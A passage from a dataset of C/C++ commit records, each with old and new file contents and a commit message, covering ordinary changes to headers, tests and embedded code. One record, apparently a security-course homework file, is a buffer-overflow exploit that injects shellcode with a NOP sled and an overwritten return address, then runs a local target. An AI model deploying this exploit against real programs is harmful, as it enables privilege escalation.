{"commit":"4e24df1ba483b3028017176b08bc336b8ca79274","old_file":"AFToolkit\/AFToolkit.h","new_file":"AFToolkit\/AFToolkit.h","old_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n\n#pragma mark - Common Import\n\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","new_contents":"\/\/\n\/\/ Toolkit header to include the main headers of the 'AFToolkit' library.\n\/\/\n\n#import \"AFDefines.h\"\n#import \"AFLogHelper.h\"\n#import \"AFFileHelper.h\"\n#import \"AFPlatformHelper.h\"\n#import \"AFKVO.h\"\n#import \"AFArray.h\"\n#import \"AFMutableArray.h\"\n#import \"UITableViewCell+Universal.h\"\n#import \"AFDBClient.h\"\n#import \"AFView.h\"\n#import \"AFViewController.h\"","subject":"Add defines header to toolkit header","message":"Add defines header to toolkit header\n","lang":"C","license":"mit","repos":"mlatham\/AFToolkit"}
{"commit":"83cf9c9d6a93e0a651547662d556da840bf66b98","old_file":"testmud\/mud\/home\/Game\/sys\/testd.c","new_file":"testmud\/mud\/home\/Game\/sys\/testd.c","old_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n#include \"~\/test.h\"\n\n#include <status.h>\n\nstatic void create()\n{\n}\n\nvoid ignite(int count)\n{\n\tcall_out(\"bomb\", 0, count);\n}\n\nstatic void bomb(int quota)\n{\n\tint max;\n\n\tmax = (int)sqrt((float)quota);\n\n\tif (quota % max != 0) {\n\t\tmax = quota % max;\n\t}\n\n\tif (max > quota) {\n\t\tmax = quota;\n\t}\n\n\tfor (; quota > 0 && max > 0; quota--, max--) {\n\t\tclone_object(\"~\/obj\/bomb\");\n\t}\n\n\tLOGD->post_message(\"test\", LOG_INFO, quota + \" bombs left to clone.\");\n\n\tif (quota > 0) {\n\t\tcall_out(\"bomb\", 0, quota);\n\t}\n}\n","new_contents":"#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n#include \"~\/test.h\"\n\n#include <status.h>\n\nstatic void create()\n{\n}\n\nvoid ignite(int count)\n{\n\tcall_out(\"bomb\", 0, count);\n}\n\nvoid touchall()\n{\n\tint i;\n\n\tLOGD->post_message(\"test\", LOG_INFO, \"Beginning touch\");\n\n\tcall_out(\"do_touch\", 0, status(ST_OTABSIZE) - 1);\n}\n\nstatic void do_touch(int quota)\n{\n\tint limit;\n\n\tlimit = 1024;\n\n\tif (quota % limit != 0) {\n\t\tlimit = quota % limit;\n\t}\n\n\tfor (; quota >= 0 && limit > 0; quota--, limit--) {\n\t\tobject bomb;\n\n\t\tif (bomb = find_object(\"~\/obj\/bomb\" + quota)) {\n\t\t\tcall_touch(bomb);\n\t\t}\n\t}\n\n\tLOGD->post_message(\"test\", LOG_INFO, quota + \" objects left to check for touches.\");\n\n\tif (quota > 0) {\n\t\tcall_out(\"do_touch\", 0, quota);\n\t}\n}\n\nstatic void bomb(int quota)\n{\n\tint limit;\n\n\tlimit = 200;\n\n\tfor (; quota > 0 && limit > 0; quota--, limit--) {\n\t\tclone_object(\"~\/obj\/bomb\");\n\t}\n\n\tLOGD->post_message(\"test\", LOG_INFO, quota + \" bombs left to clone.\");\n\n\tif (quota > 0) {\n\t\tcall_out(\"bomb\", 0, quota);\n\t}\n}\n","subject":"Add call_touch to game test","message":"Add call_touch to game test\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"ad7f53cdb35644304350b077a9ac11e5ec588036","old_file":"tests\/include\/alt-dummy\/ecp_alt.h","new_file":"tests\/include\/alt-dummy\/ecp_alt.h","old_contents":"\/* ecp_alt.h with dummy types for MBEDTLS_ECP_ALT *\/\n\/*\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef ECP_ALT_H\n#define ECP_ALT_H\n\ntypedef struct mbedtls_ecp_group\n{\n    int dummy;\n}\nmbedtls_ecp_group;\n\n#if !defined(MBEDTLS_ECP_WINDOW_SIZE)\n\n#define MBEDTLS_ECP_WINDOW_SIZE    6\n#endif\n\n#if !defined(MBEDTLS_ECP_FIXED_POINT_OPTIM)\n\n#define MBEDTLS_ECP_FIXED_POINT_OPTIM  1\n#endif\n\n\n#endif \/* ecp_alt.h *\/\n","new_contents":"\/* ecp_alt.h with dummy types for MBEDTLS_ECP_ALT *\/\n\/*\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef ECP_ALT_H\n#define ECP_ALT_H\n\ntypedef struct mbedtls_ecp_group\n{\n    const mbedtls_ecp_group_id id;\n    const mbedtls_mpi P;\n    const mbedtls_mpi A;\n    const mbedtls_mpi B;\n    const mbedtls_ecp_point G;\n    const mbedtls_mpi N;\n    const size_t pbits;\n    const size_t nbits;\n}\nmbedtls_ecp_group;\n\n#endif \/* ecp_alt.h *\/\n","subject":"Define public fields of mbedtls_ecp_group in alt test header","message":"Define public fields of mbedtls_ecp_group in alt test header\n\nAnd don't define configuration macros that only apply to the built-in\nimplementation.\n\nSigned-off-by: Gilles Peskine <f805f64266d288fc5467baa7be6cd0ff366f477b@arm.com>\n","lang":"C","license":"apache-2.0","repos":"Mbed-TLS\/mbedtls,ARMmbed\/mbedtls,NXPmicro\/mbedtls,ARMmbed\/mbedtls,ARMmbed\/mbedtls,NXPmicro\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls,NXPmicro\/mbedtls,Mbed-TLS\/mbedtls,Mbed-TLS\/mbedtls,NXPmicro\/mbedtls"}
{"commit":"192b4b9f4ff72f49c2b04255be5bf9f83c036b99","old_file":"SSPSolution\/AIDLL\/AIComponent.h","new_file":"SSPSolution\/AIDLL\/AIComponent.h","old_contents":"#ifndef AIDLL_AI_AICOMPONENT_H\n#define AIDLL_AI_AICOMPONENT_H\n\n#include <DirectXMath.h>\n\nstruct AIComponent\n{\n\tint active = 0;\n\tint entityID = -1;\n\n\tint direction;\n\tint currentPos;\n\tint nextPos;\n\n\tDirectX::XMVECTOR waypoints[8];\n};\n\n#endif","new_contents":"#ifndef AIDLL_AI_AICOMPONENT_H\n#define AIDLL_AI_AICOMPONENT_H\n\n#include <DirectXMath.h>\n\nstruct AIComponent\n{\n\tint active = 0;\n\tint entityID = -1;\n\n\tint direction;\n\tint currentWaypoint;\n\tint nextWaypoint;\n\n\tDirectX::XMVECTOR waypoints[8];\n};\n\n#endif","subject":"UPDATE changes made to names of variables in the AIComopnent","message":"UPDATE changes made to names of variables in the AIComopnent\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"45169603e17e944b18aa19f66602c32c54fbf90e","old_file":"sploits\/sploit1.c","new_file":"sploits\/sploit1.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include \"shellcode.h\"\n\n#define TARGET \"\/tmp\/target2\"\n\nint main(void)\n{\n  char *args[3];\n  char *env[1];\n  char buf[248];\n  memset(buf, 0x90, 248);\n\n  strncpy(buf+195, shellcode, 45);\n  strncpy(buf+244, \"\\x08\\xfd\\xff\\xbf\", 4);\n  \/\/strncpy(buf+244, \"\\x12\\x34\\x56\\x78\", 4);\n  \n  args[0] = TARGET; \n  args[1] = buf;\n  args[2] = NULL;\n\n  env[0] = NULL;\n\n  if (0 > execve(TARGET, args, env))\n    fprintf(stderr, \"execve failed.\\n\");\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include \"shellcode.h\"\n\n#define TARGET \"\/tmp\/target1\"\n\nint main(void)\n{\n  char *args[3];\n  char *env[1];\n  char buf[248];\n  memset(buf, 0x90, 248);\n\n  strncpy(buf+195, shellcode, 45);\n  strncpy(buf+244, \"\\x08\\xfd\\xff\\xbf\", 4);\n  \/\/strncpy(buf+244, \"\\x12\\x34\\x56\\x78\", 4);\n  \n  args[0] = TARGET; \n  args[1] = buf;\n  args[2] = NULL;\n\n  env[0] = NULL;\n\n  if (0 > execve(TARGET, args, env))\n    fprintf(stderr, \"execve failed.\\n\");\n\n  return 0;\n}\n","subject":"Make sure the sploit points to the correct target","message":"Make sure the sploit points to the correct target","lang":"C","license":"mit","repos":"somethingnew2-0\/CS642-HW1"}
{"commit":"a4e756b0fb114822a5c2cc0c3a1ecd68308093a4","old_file":"KPNavViewController.h","new_file":"KPNavViewController.h","old_contents":"#import <KPToolbox\/KPViewController.h>\n\n@class KPNavigationController;\n\n@interface KPNavViewController : KPViewController\n\n@property(readwrite, weak) KPNavigationController* navigationController;\n\n@property(readwrite, strong) NSString* navigationTitle;\n\n@property(readwrite, strong) NSButton* backButton;\n\n@property(readwrite, strong) IBOutlet NSView* leftNavigationBarView;\n\n@property(readwrite, strong) IBOutlet NSView* centerNavigationBarView;\n\n@property(readwrite, strong) IBOutlet NSView* rightNavigationBarView;\n\n@property(readwrite, strong) IBOutlet NSView* navigationToolbar;\n\n- (void) viewWillAppear: (BOOL) animated;\n\n- (void) viewDidAppear: (BOOL) animated;\n\n- (void) viewWillDisappear: (BOOL) animated;\n\n- (void) viewDidDisappear: (BOOL) animated;\n\n@end\n","new_contents":"#import <KPToolbox\/KPViewController.h>\n\n@class KPNavigationController;\n\n@interface KPNavViewController : KPViewController\n\n@property(readwrite, weak) KPNavigationController* navigationController;\n\n@property(readwrite, copy) NSString* navigationTitle;\n\n@property(readwrite, strong) NSButton* backButton;\n\n@property(readwrite, strong) IBOutlet NSView* leftNavigationBarView;\n\n@property(readwrite, strong) IBOutlet NSView* centerNavigationBarView;\n\n@property(readwrite, strong) IBOutlet NSView* rightNavigationBarView;\n\n@property(readwrite, strong) IBOutlet NSView* navigationToolbar;\n\n- (void) viewWillAppear: (BOOL) animated;\n\n- (void) viewDidAppear: (BOOL) animated;\n\n- (void) viewWillDisappear: (BOOL) animated;\n\n- (void) viewDidDisappear: (BOOL) animated;\n\n@end\n","subject":"Use a copy property semantics instead of strong.","message":"Use a copy property semantics instead of strong.\n","lang":"C","license":"mit","repos":"konstantinpavlikhin\/KSPNavigationController"}
{"commit":"223c87c1570327fc88dd8e98534aef9e1ac8c534","old_file":"AdjacentDifferenceStreamProvider.h","new_file":"AdjacentDifferenceStreamProvider.h","old_contents":"#ifndef ADJACENT_DIFFERENCE_STREAM_PROVIDER_H\n#define ADJACENT_DIFFERENCE_STREAM_PROVIDER_H\n\n#include \"StreamProvider.h\"\n#include \"Utility.h\"\n\ntemplate<typename T, typename Subtractor>\nclass AdjacentDifferenceStreamProvider\n    : public StreamProvider<ReturnType<Subtractor, T&, T&>> {\n\npublic:\n    using DiffType = ReturnType<Subtractor, T&, T&>;\n\n    AdjacentDifferenceStreamProvider(StreamProviderPtr<T> source,\n                                     Subtractor&& subtract)\n        : source_(std::move(source)), subtract_(subtract) {}\n\n    std::shared_ptr<DiffType> get() override {\n        return std::make_shared<DiffType>(subtract_(*second_, *first_));\n    }\n\n    bool advance() override {\n        if(first_advance_) {\n            first_advance_ = false;\n            if(source_->advance()) {\n                first_ = source_->get();\n            } else {\n                return false;\n            }\n            if(source_->advance()) {\n                second_ = source_->get();\n            } else {\n                first_.reset();\n                return false;\n            }\n            return true;\n        }\n\n        first_ = std::move(second_);\n        if(source_->advance()) {\n            second_ = source_->get();\n            return true;\n        }\n        first_.reset();\n        return false;\n    }\n\nprivate:\n    StreamProviderPtr<T> source_;\n    Subtractor subtract_;\n    std::shared_ptr<T> first_;\n    std::shared_ptr<T> second_;\n    bool first_advance_ = true;\n};\n\n#endif\n","new_contents":"#ifndef ADJACENT_DIFFERENCE_STREAM_PROVIDER_H\n#define ADJACENT_DIFFERENCE_STREAM_PROVIDER_H\n\n#include \"StreamProvider.h\"\n#include \"Utility.h\"\n\ntemplate<typename T, typename Subtractor>\nclass AdjacentDifferenceStreamProvider\n    : public StreamProvider<ReturnType<Subtractor, T&, T&>> {\n\npublic:\n    using DiffType = ReturnType<Subtractor, T&, T&>;\n\n    AdjacentDifferenceStreamProvider(StreamProviderPtr<T> source,\n                                     Subtractor&& subtract)\n        : source_(std::move(source)), subtract_(subtract) {}\n\n    std::shared_ptr<DiffType> get() override {\n        return result_;\n    }\n\n    bool advance() override {\n        if(first_advance_) {\n            first_advance_ = false;\n            if(source_->advance()) {\n                first_ = source_->get();\n            } else {\n                return false;\n            }\n            if(source_->advance()) {\n                second_ = source_->get();\n            } else {\n                first_.reset();\n                return false;\n            }\n            result_ = std::make_shared<DiffType>(subtract_(*second_, *first_));\n            return true;\n        }\n\n        first_ = std::move(second_);\n        if(source_->advance()) {\n            second_ = source_->get();\n            result_ = std::make_shared<DiffType>(subtract_(*second_, *first_));\n            return true;\n        }\n        first_.reset();\n        result_.reset();\n        return false;\n    }\n\nprivate:\n    StreamProviderPtr<T> source_;\n    Subtractor subtract_;\n    std::shared_ptr<T> first_;\n    std::shared_ptr<T> second_;\n    std::shared_ptr<DiffType> result_;\n    bool first_advance_ = true;\n};\n\n#endif\n","subject":"Make adjacent difference getter consistent with other providers","message":"Make adjacent difference getter consistent with other providers\n","lang":"C","license":"mit","repos":"jscheiny\/Streams,respu\/Streams,bowlofstew\/Streams,bowlofstew\/Streams,respu\/Streams,jscheiny\/Streams"}
{"commit":"9496821bdda5defa93aa3ae2ea476b662fb729b5","old_file":"src\/commands.h","new_file":"src\/commands.h","old_contents":"#ifndef LACO_COMMANDS_H\n#define LACO_COMMANDS_H\n\nstruct LacoState;\n\ntypedef void (*LacoHandler)(struct LacoState* laco, const char** arguments);\n\nstruct LacoCommand {\n  const char** matches;\n  LacoHandler handler;\n};\n\nvoid laco_dispatch(const struct LacoCommand* commands,\n                   struct LacoState* laco, const char* command_keyword,\n                   const char** arguments);\n\n\/**\n * Gets passed ever line to see if it matches one of the REPL command. If it\n * does, that command will be executed.\n *\/\nvoid laco_handle_command(struct LacoState* laco, char* line);\n\n#endif \/* LACO_COMMANDS_H *\/\n","new_contents":"#ifndef LACO_COMMANDS_H\n#define LACO_COMMANDS_H\n\nstruct LacoState;\n\ntypedef void (*LacoHandler)(struct LacoState* laco, const char** arguments);\n\nstruct LacoCommand {\n  const char** matches;\n  LacoHandler handler;\n};\n\n\/**\n * Goes through each instance from the list of commands and see if there is\n * a match with for command_keyword. When there is a match, the defined\n * handler inside the LacoCommand gets called -- passing in LacoState and\n * the arguments. The list of commands expects the last entry of the array\n * to be `{ NULL, NULL }` for ease of iteration.\n *\/\nvoid laco_dispatch(const struct LacoCommand* commands,\n                   struct LacoState* laco, const char* command_keyword,\n                   const char** arguments);\n\n\/**\n * Gets passed ever line to see if it matches one of the REPL command. If it\n * does, that command will be executed.\n *\/\nvoid laco_handle_command(struct LacoState* laco, char* line);\n\n#endif \/* LACO_COMMANDS_H *\/\n","subject":"Add documentation for the laco_dispatch function","message":"Add documentation for the laco_dispatch function\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"6420adb9d93a17d3d16ae17bb67b012273fa0e8d","old_file":"sbr\/context_del.c","new_file":"sbr\/context_del.c","old_contents":"\n\/*\n * context_del.c -- delete an entry from the context\/profile list\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n\n\/*\n * Delete a key\/value pair from the context\/profile list.\n * Return 0 if key is found, else return 1.\n *\/\n\nint\ncontext_del (char *key)\n{\n    struct node *np, *pp;\n\n    for (np = m_defs, pp = NULL; np; pp = np, np = np->n_next) {\n\tif (!strcasecmp (np->n_name ? np->n_name : \"\", key ? key : \"\")) {\n\t    if (!np->n_context)\n\t\tadmonish (NULL, \"bug: context_del(key=\\\"%s\\\")\", np->n_name);\n\t    if (pp)\n\t\tpp->n_next = np->n_next;\n\t    else\n\t\tm_defs = np->n_next;\n\t    free (np->n_name);\n\t    if (np->n_field)\n\t\tfree (np->n_field);\n\t    free ((char *) np);\n\t    ctxflags |= CTXMOD;\n\t    return 0;\n\t}\n    }\n\n    return 1;\n}\n","new_contents":"\n\/*\n * context_del.c -- delete an entry from the context\/profile list\n *\n * This code is Copyright (c) 2002, by the authors of nmh.  See the\n * COPYRIGHT file in the root directory of the nmh distribution for\n * complete copyright information.\n *\/\n\n#include <h\/mh.h>\n#include <h\/utils.h>\n\n\/*\n * Delete a key\/value pair from the context\/profile list.\n * Return 0 if key is found, else return 1.\n *\/\n\nint\ncontext_del (char *key)\n{\n    struct node *np, *pp;\n\n    for (np = m_defs, pp = NULL; np; pp = np, np = np->n_next) {\n\tif (!strcasecmp (np->n_name ? np->n_name : \"\", key ? key : \"\")) {\n\t    if (!np->n_context)\n\t\tadmonish (NULL, \"bug: context_del(key=\\\"%s\\\")\", np->n_name);\n\t    if (pp)\n\t\tpp->n_next = np->n_next;\n\t    else\n\t\tm_defs = np->n_next;\n\t    free (np->n_name);\n            mh_xfree(np->n_field);\n\t    free ((char *) np);\n\t    ctxflags |= CTXMOD;\n\t    return 0;\n\t}\n    }\n\n    return 1;\n}\n","subject":"Replace `if (p) free(p)' with `mh_xfree(p)'.","message":"Replace `if (p) free(p)' with `mh_xfree(p)'.\n","lang":"C","license":"bsd-3-clause","repos":"mcr\/nmh,mcr\/nmh"}
{"commit":"7b2d21e3710781fa223d8200b59c841771ff73d3","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s &&\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n","subject":"Append the test runs with '&&'.","message":"Append the test runs with '&&'.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58851 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"f35eea985e4b20020c8a91533fcd769c5745662b","old_file":"stm8\/src\/main.c","new_file":"stm8\/src\/main.c","old_contents":"#include <stdint.h>\n#include \"stm8s208s.h\"\n\nvoid main(void)\n{\n    MEMLOC(CLK_CKDIVR) = 0x00; \/\/ Set the frequency to 16 MHz\n    BITSET(CLK_PCKENR1, 7);\n\n    \/\/ Configure timer\n    \/\/ 1000 ticks per second\n    MEMLOC(TIM1_PSCRH) = (16000>>8);\n    MEMLOC(TIM1_PSCRL) = (uint8_t)(16000 & 0xff);\n    \/\/ Enable timer\n    MEMLOC(TIM1_CR1) = 0x01;\n\n    \/* Set PB0 as output *\/\n    BITSET(PB_DDR, 0);\n\n    \/* Set low speed mode *\/\n    BITRST(PB_CR2, 0);\n\n    \/* Set Push\/Pull mode *\/\n    BITSET(PB_CR1, 0);\n\n    for(;;)\n    {\n        if ((MEMLOC(TIM1_CNTRL)) % 1000 <= 500) {\n            BITTOG(PB_ODR, 0);\n        }\n    }\n}\n","new_contents":"#include <stdint.h>\n#include \"stm8s208s.h\"\n\nvoid main(void)\n{\n    MEMLOC(CLK_CKDIVR) = 0x00; \/* Set the frequency to 16 MHz *\/\n    BITSET(CLK_PCKENR1, 7); \/* Enable clk to TIM1 *\/\n\n    \/\/ Configure timer\n    \/\/ 250 ticks per second\n    MEMLOC(TIM1_PSCRH) = (64000>>8);\n    MEMLOC(TIM1_PSCRL) = (uint8_t)(64000 & 0xff);\n\n    MEMLOC(TIM1_CR1) = 0x01; \/* Enable timer *\/\n\n    BITSET(PB_DDR, 0); \/* Set PB0 as output *\/\n    BITRST(PB_CR2, 0); \/* Set low speed mode *\/\n    BITSET(PB_CR1, 0); \/* Set Push\/Pull mode *\/\n\n    for(;;) {\n        if ((MEMLOC(TIM1_CNTRL)) % 250 <= 125) {\n            BITTOG(PB_ODR, 0);\n        }\n    }\n}\n","subject":"Reduce ticks to 250 to use 8bit diff","message":"Reduce ticks to 250 to use 8bit diff\n","lang":"C","license":"bsd-3-clause","repos":"spoorcc\/docker_embedded,spoorcc\/docker_embedded"}
{"commit":"b675c4d898d18514312a867ffca73d09e438f7c0","old_file":"t\/aget_value_t.c","new_file":"t\/aget_value_t.c","old_contents":"#include \"maxminddb_test_helper.h\"\n\nvoid run_tests(int mode, const char *mode_desc)\n{\n    const char *filename = \"MaxMind-DB-test-decoder.mmdb\";\n    const char *path = test_database_path(filename);\n    MMDB_s *mmdb = open_ok(path, mode, mode_desc);\n    free((void *)path);\n\n    const char *ip = \"1.1.1.1\";\n    MMDB_lookup_result_s result =\n        lookup_string_ok(mmdb, ip, filename, mode_desc);\n\n    MMDB_entry_data_s entry_data;\n    char *lookup_path[] = { \"array\", \"0\", NULL };\n    int status = MMDB_aget_value(&result.entry, &entry_data, lookup_path);\n\n    cmp_ok(status, \"==\", MMDB_SUCCESS,\n           \"status for MMDB_get_value() is MMDB_SUCCESS\");\n    ok(entry_data.has_data, \"found a value with MMDB_aget_value\");\n    cmp_ok(entry_data.type, \"==\", MMDB_DATA_TYPE_UINT32,\n           \"returned entry type is uint32\");\n    cmp_ok(entry_data.uint32, \"==\", 1, \"entry value is 1\");\n\n    MMDB_close(mmdb);\n    free(mmdb);\n}\n\nint main(void)\n{\n    plan(NO_PLAN);\n    for_all_modes(&run_tests);\n    done_testing();\n}\n","new_contents":"#include \"maxminddb_test_helper.h\"\n\nvoid run_tests(int mode, const char *mode_desc)\n{\n    const char *filename = \"MaxMind-DB-test-decoder.mmdb\";\n    const char *path = test_database_path(filename);\n    MMDB_s *mmdb = open_ok(path, mode, mode_desc);\n    free((void *)path);\n\n    const char *ip = \"1.1.1.1\";\n    MMDB_lookup_result_s result =\n        lookup_string_ok(mmdb, ip, filename, mode_desc);\n\n    MMDB_entry_data_s entry_data;\n    char *lookup_path[] = { \"array\", \"0\", NULL };\n    int status = MMDB_aget_value(&result.entry, &entry_data, lookup_path);\n\n    cmp_ok(status, \"==\", MMDB_SUCCESS,\n           \"status for MMDB_aget_value() is MMDB_SUCCESS\");\n    ok(entry_data.has_data, \"found a value with MMDB_aget_value\");\n    cmp_ok(entry_data.type, \"==\", MMDB_DATA_TYPE_UINT32,\n           \"returned entry type is uint32\");\n    cmp_ok(entry_data.uint32, \"==\", 1, \"entry value is 1\");\n\n    MMDB_close(mmdb);\n    free(mmdb);\n}\n\nint main(void)\n{\n    plan(NO_PLAN);\n    for_all_modes(&run_tests);\n    done_testing();\n}\n","subject":"Fix typo in test description","message":"Fix typo in test description\n","lang":"C","license":"apache-2.0","repos":"maxmind\/libmaxminddb,maxmind\/libmaxminddb,maxmind\/libmaxminddb"}
{"commit":"8afc766b82b045474873b2c6365bd31b449749ef","old_file":"src\/os.h","new_file":"src\/os.h","old_contents":"\/\/\n\/\/ Created by dar on 1\/29\/16.\n\/\/\n\n#ifndef C003_OS_H\n#define C003_OS_H\n\nenum class OS {\n    WIN32 = 0,\n    UNIX,\n    ANDROID,\n    APPLE\n};\n\nconstexpr const OS OPERATING_SYTEM =\n#ifdef _WIN32\n    OS::WIN32\n#elif __APPLE__\n    OS::APPLE\n#elif __ANDROID__\n    OS::ANDROID\n#elif __unix__\n    OS::UNIX\n#endif\n;\n\nconstexpr const bool IS_MOBILE = OPERATING_SYTEM == OS::ANDROID || OPERATING_SYTEM == OS::APPLE;\n\n#endif \/\/C003_OS_H\n","new_contents":"\/\/\n\/\/ Created by dar on 1\/29\/16.\n\/\/\n\n#ifndef C003_OS_H\n#define C003_OS_H\n\nenum class OS {\n    WIN32 = 0,\n    UNIX,\n    ANDROID,\n    IOS,\n    MAC\n};\n\n#ifdef __APPLE__\n#include \"TargetConditionals.h\"\n#endif\n\nconstexpr const OS OPERATING_SYTEM =\n#ifdef _WIN32\n    OS::WIN32\n#elif __APPLE__\n    #if TARGET_IPHONE_SIMULATOR || TARGET_OS_IPHONE\n        OS::IOS\n    #elif TARGET_OS_MAC\n        OS::MAC\n    #else\n        #error \"Unknown Apple platform\"\n    #endif\n#elif __ANDROID__\n    OS::ANDROID\n#elif __unix__\n    OS::UNIX\n#else\n    #error \"Unknown platform\"\n#endif\n;\n\nconstexpr const bool IS_MOBILE = OPERATING_SYTEM == OS::ANDROID || OPERATING_SYTEM == OS::IOS;\n\n#endif \/\/C003_OS_H\n","subject":"Split APPLE operating system to IOS and MAC","message":"Split APPLE operating system to IOS and MAC\n","lang":"C","license":"mit","repos":"darsto\/spooky,darsto\/spooky"}
{"commit":"cd8b79f334adff93acea8dfe586d61bb7eaec3e4","old_file":"src\/phys_const.h","new_file":"src\/phys_const.h","old_contents":"#ifndef LIBEFP_PHYS_CONST_H\n#define LIBEFP_PHYS_CONST_H\n\n\/* Bohr radius in angstroms *\/\n#define BOHR_RADIUS 0.52917724924\n\n#endif \/* LIBEFP_PHYS_CONST_H *\/\n","new_contents":"#ifndef LIBEFP_PHYS_CONST_H\n#define LIBEFP_PHYS_CONST_H\n\n\/* Bohr radius in angstroms *\/\n#define BOHR_RADIUS 0.52917721092\n\n#endif \/* LIBEFP_PHYS_CONST_H *\/\n","subject":"Use value from CODATA 2010.","message":"Use value from CODATA 2010.\n","lang":"C","license":"bsd-2-clause","repos":"libefp\/libefp,libefp\/libefp,libefp\/libefp"}
{"commit":"fea93e818380d4d9b3b68bc47509058f60b8cdb7","old_file":"src\/arch\/sparc\/kernel\/arch.c","new_file":"src\/arch\/sparc\/kernel\/arch.c","old_contents":"\/**\n * @file\n * @brief Implements ARCH interface for sparc processors\n *\n * @date 14.02.10\n * @author Eldar Abusalimov\n *\/\n\n#include <hal\/arch.h>\n#include <asm\/cache.h>\n#include <hal\/ipl.h>\n\nvoid arch_init(void) {\n\tcache_enable();\n}\n\nvoid arch_idle(void) {\n}\n\nunsigned int arch_excep_disable(void) {\n\tunsigned int ret;\n\tunsigned int tmp;\n\t__asm__ __volatile__ (\n\t\t\"rd %%psr, %0\\n\\t\"\n\t\t\"andn %0, %2, %1\\n\\t\"\n\t\t\"wr %1, 0, %%psr\\n\\t\"\n\t\t\" nop; nop; nop\\n\"\n\t\t: \"=&r\" (ret), \"=r\" (tmp)\n\t\t: \"i\" (PSR_ET)\n\t\t: \"memory\"\n\t);\n\treturn ret;\n}\n\nvoid __attribute__ ((noreturn)) arch_shutdown(arch_shutdown_mode_t mode) {\n\n\tipl_disable();\n\tarch_excep_disable();\n\tasm (\"ta 0\");\n\n\twhile (1) {}\n}\n","new_contents":"\/**\n * @file\n * @brief Implements ARCH interface for sparc processors\n *\n * @date 14.02.10\n * @author Eldar Abusalimov\n *\/\n\n#include <hal\/arch.h>\n#include <asm\/cache.h>\n#include <hal\/ipl.h>\n\nvoid arch_init(void) {\n\tcache_enable();\n}\n\nvoid arch_idle(void) {\n\t__asm__ __volatile__ (\"wr %g0, %asr19\");\n}\n\nunsigned int arch_excep_disable(void) 